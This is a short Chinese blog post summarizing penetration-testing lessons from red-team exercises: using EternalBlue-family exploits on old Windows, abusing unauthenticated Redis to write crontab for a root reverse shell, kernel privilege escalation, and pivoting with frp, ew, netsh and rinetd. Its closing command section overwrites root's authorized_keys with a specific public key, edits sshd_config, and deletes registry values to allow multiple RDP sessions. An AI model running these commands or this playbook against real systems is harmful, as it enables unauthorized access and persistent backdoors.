渗透测试一点总结

hw了好几次,遇到了很多坑,但是也总结出了不少经验

权限获取

Windows

Windows嘛,洞很多,而且内网里面开了自动更新的机器也不多(毕竟你国Ghost

所以在有现成的exp的时候,为啥我们要去日应用层挖洞?

针对WinXP/2k3

  • 永恒之蓝
  • 永恒浪漫
  • 永恒冠军 感觉这个比较好用

针对Win7/2k8

  • 永恒之蓝

2k8+一般没有办法了,win8好像还有一个永恒系列,但是没有打成功过

针对应用层,就是常规洞了,最方便的是SQL注入和文件上传,都是可以帮拿shell的

提权考虑内核漏洞提权,MsSQL,Oracle数据库提权,记得查数据库启动的用户

Linux

最方便的是Redis,未授权写corntab直接反弹root shell,然后写公钥,改ssh配置一把梭,直接ssh登陆服务器。

其他的如oracle之类的,看运维怎么配置,dba可以直接拿到shell,但是权限得看起服务的用户。拿到shell之后,低版本Linux可以考虑脏牛提权之类的

还有些应用层得看情况了,总之还是文件上传和sql注入最容易拿shell

代理 & 穿透

因为内网的缘故,边界机是需要内网穿透的,而边界机可以访问的一些内网机器可能没有外网,同时内网机器可能还有别的边界机不可访问的网段等各种情况,因此这里需要综合利用各种网络工具。

这里代理都默认socks5

正向代理

Linux

一直在用frp的socks5内建模块,还算比较稳定。也有ew,但是没有用过。以前还用过别人手撸的python版socks5,竟然也很蜜汁稳定

Windows

ew,应该算windows下比较稳的socks5工具了

内网穿透

frp,不解释

反向代理

frp可以顺便做反代,比较爽

需要内网安装啥东西的时候,可以直接整一个nginx,又可以开个web又可以反代tcp

端口转发

Windows直接用自带的netsh,稳如老狗(记得入站防火墙,而且需要管理员

Linux一直在用rinetd,比较爽

一般端口转发是在反弹shell的时候用的,效果很好

内网工具

相关脚本 & 命令

RDP 多开

REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUser /f
REG DELETE "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /f

CentOS ssh写公钥一把梭

echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwJKRG7wZUcKUHFtEFlvC/izn0samzvJhowbSNYNNofusKzmq2auNQrkg7BeXW940lTeBM+AHAclLJvR1L1KdfNw67sakNEEeIU9+i9nd77ofXGRPZxHCPjeviD34i4quuuyz893/XtQyYyAozHrfABhUt7SyJc0G7AR6kLXPpz+lCjUaDr6S69d0mPqVroC+VdJy5wm5LP7udZjCJ65l7d17A3Mdg3gi407k9PXfVbxKczHECKfgy6LhM6jwV9NJPzFq4A+Wmc9GRwYTeEtDYyLRaDVMKyk9ureR+b3bZBrrOpdPTLMHxACFuUIWcYcnG1CPiP1vJPwvscpO7sbLF [email protected]" > /root/.ssh/authorized_keys
chmod 0600 /root/.ssh/authorized_keys
systemctl restart sshd

MSF Proxies

set Proxies socks5:127.0.0.1:8080

netsh 端口转发 需要管理员权限

netsh interface portproxy add v4tov4 listenport=80 connectaddress=10.0.103.32 connectport=65511

发表评论

发表评论

沙发空缺中,还不快抢~